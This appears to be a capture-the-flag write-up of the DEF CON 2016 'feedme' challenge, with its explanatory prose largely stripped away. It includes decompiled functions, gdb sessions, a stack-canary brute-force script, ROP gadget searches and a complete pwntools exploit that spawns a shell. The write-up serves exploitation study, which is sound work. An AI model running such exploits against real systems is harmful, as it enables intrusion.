feedme[KO]

List

Unknown macro: 'html'

Unknown macro: 'html'

information

Description

Don't forget to feed me http://www.scs.stanford.edu/brop/

http://download.quals.shallweplayaga.me/47aa9b0d8ad186754acd4bece3d6a177/feedme

feedme_47aa9b0d8ad186754acd4bece3d6a177.quals.shallweplayaga.me:4092

File

- feedme

Source Code

https://github.com/legitbs/quals-2016/tree/master/feedme

Writeup

File information

File information

```
lazenca0x0@ubuntu:~/Documents/DEFCON2016/feedme$ file feedme
feedme: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV),
statically linked, for GNU/Linux 2.6.24, stripped
lazenca0x0@ubuntu:~/Documents/DEFCON2016/feedme$ checksec.sh --file feedme
RELRO           STACK CANARY      NX            PIE             RPATH
RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH
No RUNPATH   feedme
lazenca0x0@ubuntu:~/Documents/DEFCON2016/feedme$
```

Unknown macro: 'html'

Binary analysis

Main(0x0804917A)

- .
  - signal() SIGALRM .
  - 150 sigAlarm() , .
  - Feedme() .

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  signal(14, sigAlarm);
  alarm(150u);
  _IO_setvbuf(off_80EA4C0, 0, 2, 0);
  _IO_new_fclose(off_80EA4BC);
  Service();
  return 0;
}
```

Service(0x080490B0)

- .
  - fork() .
  - Feedme() .
  - Feedme() waitpid() .
    - .
  - for() 800 .

```
void Service()
{
  unsigned __int8 v0; // al@3
  int v1; // [esp+0h] [ebp-28h]@0
  const char **v2; // [esp+4h] [ebp-24h]@0
  const char **v3; // [esp+8h] [ebp-20h]@0
  char *argv; // [esp+10h] [ebp-18h]@1
  unsigned int i; // [esp+14h] [ebp-14h]@1
  const struct timespec *childPid; // [esp+18h] [ebp-10h]@2
  int waitPid; // [esp+1Ch] [ebp-Ch]@4

  argv = 0;
  for ( i = 0; i <= 799; ++i )
  {
    childPid = fork();
    if ( !childPid )
    {
      v0 = Feedme(v1, v2, v3);
      printf_0("YUM, got %d bytes!\n", v0);
      return;
    }
    waitPid = __waitpid(childPid, &argv, 0);
    if ( waitPid == -1 )
    {
      printf((int)"Wait error!");
      exit(-1);
    }
    if ( argv == (char *)-1 )
    {
      printf((int)"Child IO error!");
      exit(-1);
    }
    printf((int)"Child exit.");
    _IO_fflush(0);
  }
}
```

FeedMe(0x8049036)

- .
  - UserInputNum() .
  - UserInputStr() .
    - buf .
  - converter() .
    - Int Hex .
- buf, canary .
  - buf 32 byte .
  - buf canary .
  - , StackOverflow Canary .

```
int __cdecl FeedMe(int argc, const char **argv, const char **envp)
{
  unsigned __int8 number; // ST1B_1@1
  char *str; // eax@1
  int result; // eax@1
  int v6; // edx@1
  char buf; // [esp+1Ch] [ebp-2Ch]@1
  int canary; // [esp+3Ch] [ebp-Ch]@1

  canary = *MK_FP(__GS__, 20);
  printf((int)"FEED ME!");
  number = UserInputNum();
  UserInputStr((int)&buf, number);
  str = converter(&buf, number, 16u);
  printf_0("ATE %s\n", str);
  result = number;
  v6 = *MK_FP(__GS__, 20) ^ canary;
  return result;
}
```

UserInputNum(0x8048E42)

- .
  - read() .
    - int .
    - 'A' '65' .
  - return .

sub_8048E42()

```
int UserInputNum()
{
  unsigned __int8 number; // [esp+1Bh] [ebp-Dh]@1
  int len; // [esp+1Ch] [ebp-Ch]@1

  len = __libc_read(0, &number, 1);
  if ( len != 1 )
    exit(-1);
  return number;
}
```

UserInputStr(0x8048E7E)

- .
  - read() .
  - buf + location .
- .
  - buf FeedMe() char .
  - UserInputStr() FeedMe() buf .
  - buf 32byte.
  - size UserInputNum() 32 .
  - , Stack Overflow .
  - Canary .

sub_8048E7E(&v4, v0)

```
int __cdecl UserInputStr(int buf, int number)
{
  int result; // eax@1
  int size; // [esp+14h] [ebp-14h]@1
  int location; // [esp+18h] [ebp-10h]@1
  int len; // [esp+1Ch] [ebp-Ch]@2

  result = number;
  size = number;
  location = 0;
  while ( size )
  {
    len = __libc_read(0, location + buf, size);
    if ( len <= 0 )
      exit(-1);
    location += len;
    result = len;
    size -= len;
  }
  return result;
}
```

Unknown macro: 'html'

Debuging

Debugging child processes

- FeedMe() .

sub_80490B0()

```
void Service()
{
...
    childPid = fork();
    if ( !childPid )
    {
      v0 = Feedme(v1, v2, v3);
      printf_0("YUM, got %d bytes!\n", v0);
      return;
    }
...
}
```

- GDB Debuging .

```
(gdb) set follow-fork-mode child
(gdb) show follow-fork-mode
Debugger response to a program call of fork or vfork is "child".
(gdb)
```

Check for Stack Overflow

- Break point .

```
(gdb) b *0x08049069
Breakpoint 1 at 0x8049063(UserInputStr)
(gdb) b *0x0804906E
Breakpoint 2 at 0x804906e
```

- Stack Overflow '$' .
  - '$' Dec 36 .
- 'A' 32 'B' 3 .
  - 'A' buf .
    - buf : 0xffffd26c ~ 0xffffd28c
  - 'B' Canary .
    - canary : 0xffffd28c
    - Value : 0x080490dc
- Error .
  - canary .
  - canary .
    - "v6 = *MK_FP(__GS__, 20) ^ canary;"
- , Canary Leak return address .

Over flow(canary)

```
(gdb) r
Starting program: /home/lazenca0x0/Documents/DEFCON 2016/feedme
[New process 10798]
FEED ME!
$
[Switching to process 10798]

Breakpoint 1, 0x08049069 in ?? ()
(gdb)
(gdb) x/wx $esp
0xffffd250:        0xffffd26c
(gdb) x/20wx 0xffffd26c
0xffffd26c:        0x00000000        0x00002710        0x00000000
0x00000000
0xffffd27c:        0x00000000        0x080ea0a0        0x00000000
0x00000000
0xffffd28c:        0xfad83800        0x00000000        0x080ea00c
0xffffd2c8
0xffffd29c:        0x080490dc        0x080ea0a0        0x00000000
0x080ed840
0xffffd2ac:        0x0804f8b4        0x00000000        0x00000000
0x00000000
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBB

Breakpoint 2, 0x0804906e in ?? ()
(gdb) x/20wx 0xffffd26c
0xffffd26c:        0x41414141        0x41414141        0x41414141
0x41414141
0xffffd27c:        0x41414141        0x41414141        0x41414141
0x41414141
0xffffd28c:        0x0a424242        0x00000000        0x080ea00c
0xffffd2c8
0xffffd29c:        0x080490dc        0x080ea0a0        0x00000000
0x080ed840
0xffffd2ac:        0x0804f8b4        0x00000000        0x00000000
0x00000000
(gdb) c
Continuing.
ATE 414141414141414141414141414141...
*** stack smashing detected ***: /home/lazenca0x0/Documents/DEFCON 2016
/feedme terminated

Program received signal SIGABRT, Aborted.
0xf7ffdc90 in __kernel_vsyscall ()
(gdb)
```

Canary Leak

- StackOverflow Canary .
- Canary .
- Canary .
  - 1byte Canary .
    - Canary 4 .
  - 1byte 0x00 ~ 0xff.

CanaryLeak.py

```
from pwn import *

p = process('./feedme')
p.recvline()

canary = ""
while len(canary) < 4:
        for i in xrange(256):
                buf = "A" * 32 + canary + chr(i)
                p.send(chr(len(buf)) + buf)
                data = p.recvuntil("FEED ME!")
                if "YUM" in data:
                        canary += chr(i)
                        print "[+] canary: %r" % chr(i)
                        break

log.info("CANARY : " + canary.encode("hex"))
```

Structure of Exploit code

1. read() , WRITE .
2. execve() .

- The following information is required for an attack:

-
- shellcode
- ROP gadget

Unknown macro: 'html'

Information for attack

ROP design

- Shell .
  - UserInputStr() ("/bin/sh\n") .
  - execve() .

shell code

```
sub_8048E7E("     ",10)
execve("     ",0,0)
```

- .
- readelf "Section Headers" .
  - Write .bss, .data, .

readelf -S feedme

```
lazenca0x0@ubuntu:~/Documents/DEFCON2016/feedme$ readelf -S feedme
There are 27 section headers, starting at offset 0xa20a0:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk
Inf Al
  [ 0]                   NULL            00000000 000000 000000 00
0   0  0
  [ 1] .note.ABI-tag     NOTE            080480f4 0000f4 000020 00   A
0   0  4
  [ 2] .rel.plt          REL             08048138 000138 000070 08   A
0   4  4
  [ 3] .init             PROGBITS        080481a8 0001a8 000023 00  AX
0   0  4
  [ 4] .plt              PROGBITS        080481d0 0001d0 0000e0 00  AX
0   0 16
  [ 5] .text             PROGBITS        080482b0 0002b0 0758c4 00  AX
0   0 16
  [ 6] __libc_freeres_fn PROGBITS        080bdb80 075b80 000ac6 00  AX
0   0 16
  [ 7] __libc_thread_fre PROGBITS        080be650 076650 00006f 00  AX
0   0 16
  [ 8] .fini             PROGBITS        080be6c0 0766c0 000014 00  AX
0   0  4
  [ 9] .rodata           PROGBITS        080be6e0 0766e0 01bff0 00   A
0   0 32
  [10] __libc_subfreeres PROGBITS        080da6d0 0926d0 00002c 00   A
0   0  4
  [11] __libc_atexit     PROGBITS        080da6fc 0926fc 000004 00   A
0   0  4
  [12] __libc_thread_sub PROGBITS        080da700 092700 000004 00   A
0   0  4
  [13] .eh_frame         PROGBITS        080da704 092704 00e2f0 00   A
0   0  4
  [14] .gcc_except_table PROGBITS        080e89f4 0a09f4 0000c2 00   A
0   0  1
  [15] .tdata            PROGBITS        080e9f40 0a0f40 000010 00 WAT
0   0  4
  [16] .tbss             NOBITS          080e9f50 0a0f50 000018 00 WAT
0   0  4
  [17] .init_array       INIT_ARRAY      080e9f50 0a0f50 000008 00  WA
0   0  4
  [18] .fini_array       FINI_ARRAY      080e9f58 0a0f58 000008 00  WA
0   0  4
  [19] .jcr              PROGBITS        080e9f60 0a0f60 000004 00  WA
0   0  4
  [20] .data.rel.ro      PROGBITS        080e9f80 0a0f80 000070 00  WA
0   0 32
  [21] .got              PROGBITS        080e9ff0 0a0ff0 000008 04  WA
0   0  4
  [22] .got.plt          PROGBITS        080ea000 0a1000 000044 04  WA
0   0  4
  [23] .data             PROGBITS        080ea060 0a1060 000f20 00  WA
0   0 32
  [24] .bss              NOBITS          080eaf80 0a1f80 00180c 00  WA
0   0 32
  [25] __libc_freeres_pt NOBITS          080ec78c 0a1f80 000018 00  WA
0   0  4
  [26] .shstrtab         STRTAB          00000000 0a1f80 000120 00
0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)
lazenca0x0@ubuntu:~/Documents/DEFCON2016/feedme$
```

- , .
  - Write "0x080e9000-0x080eb000" .
  - Section header "0x080e9000" ~ "0x080e9f40" .
  - .
    - .gcc_except_table 0x080e89f4 C2 .
      - 0x080e89f4 + 0xc2 = 0x80e8ab6
    - .tdata 0x080e9f40 .
      - 0x080e9f40 - 0x80e8ab6 = 0x148a
- 0x080e9000 .

cat proc/"PID"/maps

```
(gdb) shell cat /proc/2627/maps
08048000-080e9000 r-xp 00000000 08:01 703612     /home/lazenca0x0/Documents
/DEFCON2016/feedme/feedme
080e9000-080eb000 rw-p 000a0000 08:01 703612     /home/lazenca0x0/Documents
/DEFCON2016/feedme/feedme
080eb000-0810f000 rw-p 00000000 00:00 0          [heap]
b7ffc000-b7ffe000 r--p 00000000 00:00 0          [vvar]
b7ffe000-b8000000 r-xp 00000000 00:00 0          [vdso]
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]
(gdb)
```

ROP gadget - UserInputStr(system call)

- UserInputStr() system call .
- "pop esi ; pop edi ; ret ;" Gadget .
- Gadget .
  - 0x0809e11c .

./rp-lin-x86 -f ./feedme -r 2 |grep "pop esi ; pop edi ; ret "

```
lazenca0x0@ubuntu:~/Documents/DEFCON2016/feedme$ ./rp-lin-x86 -f ./feedme -
r 2 |grep "pop esi ; pop edi ; ret "
0x0804846e: pop esi ; pop edi ; ret  ;  (1 found)

...

lazenca0x0@ubuntu:~/Documents/DEFCON2016/feedme$
```

ROP gadget - execve(int 0x80, interrupt 0x80)

- execve() "int 0x80" .
  - "pop eax", "pop ebx", "pop ecx", "pop edx" Gadget .
  - Gadget .

./rp-lin-x86 -f ./feedme -r 5 |grep "pop eax ; pop ebx ; pop ecx ; pop edx ;"

```
lazenca0x0@ubuntu:~/Documents/DEFCON2016/feedme$ ./rp-lin-x86 -f ./feedme -
r 5 |grep "pop eax ; pop ebx ; pop ecx ; pop edx ;"
lazenca0x0@ubuntu:~/Documents/DEFCON2016/feedme$
```

- execve call number Gadget .

./rp-lin-x86 -f ./feedme -r 4 |grep "pop eax ; pop ebx ;"

```
lazenca0x0@ubuntu:~/Documents/DEFCON 2016/feedme$ ./rp-lin-x86 -f ./feedme
-r 1 |grep "pop eax ; ret  ;"
0x080bb496: pop eax ; ret  ;  (1 found)
0x080e243d: pop eax ; ret  ;  (1 found)
0x080e433a: pop eax ; ret  ;  (1 found)
0x080e6a5c: pop eax ; ret  ;  (1 found)
lazenca0x0@ubuntu:~/Documents/DEFCON 2016/feedme$
```

- Gadget .

./rp-lin-x86 -f ./feedme -r 4 |grep "pop edx ; pop ecx ;"

```
lazenca0x0@ubuntu:~/Documents/DEFCON 2016/feedme$ ./rp-lin-x86 -f ./feedme
-r 3 |grep "pop edx ; pop ecx ; pop ebx ; ret  ;"
0x0806f370: pop edx ; pop ecx ; pop ebx ; ret  ;  (1 found)
lazenca0x0@ubuntu:~/Documents/DEFCON 2016/feedme$
```

- execve "int 0x80" Gadget .

./rp-lin-x86 -f ./feedme -r 0 |grep "int 0x80"

```
lazenca0x0@ubuntu:~/Documents/DEFCON2016/feedme$ ./rp-lin-x86 -f ./feedme -
r 0 |grep "int 0x80"
0x08049761: int 0x80 ;  (1 found)

...
lazenca0x0@ubuntu:~/Documents/DEFCON2016/feedme$
```

- ROP .

ROP

```
#sub_8048E7E("     ",10)
payload += p32(0x08048E7E)        # 0x08048E7E
payload += p32(0x0804846e)        # POP esi ; POP edi ; ret;
payload += p32(0x080e9000)        # Arg1 : 0x080e9000
payload += p32(10)                        # Arg2 : 10
#execve("     ",0,0)
payload += p32(0x0806f370)        # POP edx ; POP ecx ; POP ebx ; ret ;
payload += p32(0)
payload += p32(0)
payload += p32(0x080e9000)        # Arg1 : 0x080e9000
#rax = 11, int 0x80
payload += p32(0x080bb496)        # POP eax ; ret ;
payload += p32(11)                        # execve call number
payload += p32(0x08049761)        # int 0x80;
```

- : 0x080e9000
- ROP gadget
  - "pop esi ; pop edi ; ret ;" : 0x0804846e
  - "pop edx ; pop ecx ; pop ebx ; ret ;" : 0x0806f370
  - "pop eax ; ret ;" : 0x080bb496
  - "int 0x80 ;" : 0x08049761

Unknown macro: 'html'

Exploit Code

Exploit code

```
from pwn import *

p = process('./feedme')

p.recvline()

canary = ""
while len(canary) < 4:
        for i in xrange(256):
                buf = "A" * 32 + canary + chr(i)
                p.send(chr(len(buf)) + buf)
                data = p.recvuntil("FEED ME!")
                if "YUM" in data:
                        canary += chr(i)
                        print "[+] canary: %r" % chr(i)
                        break

log.info("CANARY : " + canary.encode("hex"))

p.recv()
payload = "A"*32
payload += canary
payload += "A"*12
payload += p32(0x08048E7E)
payload += p32(0x0804846e)
payload += p32(0x080e9000)
payload += p32(10)
payload += p32(0x0806f370)
payload += p32(0)
payload += p32(0)
payload += p32(0x080e9000)
payload += p32(0x080bb496)
payload += p32(11)
payload += p32(0x08049761)

log.info("Payload len : " + chr(len(payload)))
log.info("Payload Hex : " + payload.encode("hex"))
log.info("Payload Str : " + payload)

p.send(chr(len(payload)))
p.send(payload)
p.recv()
p.send("/bin/sh\0")
p.interactive()
```

Unknown macro: 'html'

Flag

Flag	

Related Site

- http://rootfoo.org/ctf/2016-legitbs-ctf-quals-feedme

- http://blukat29.github.io/2016/05/defcon-2016-quals-feedme/
- http://hackoftheday.securitytube.net/2013/04/demystifying-execve-shellcode-stack.html

Unknown macro: 'html'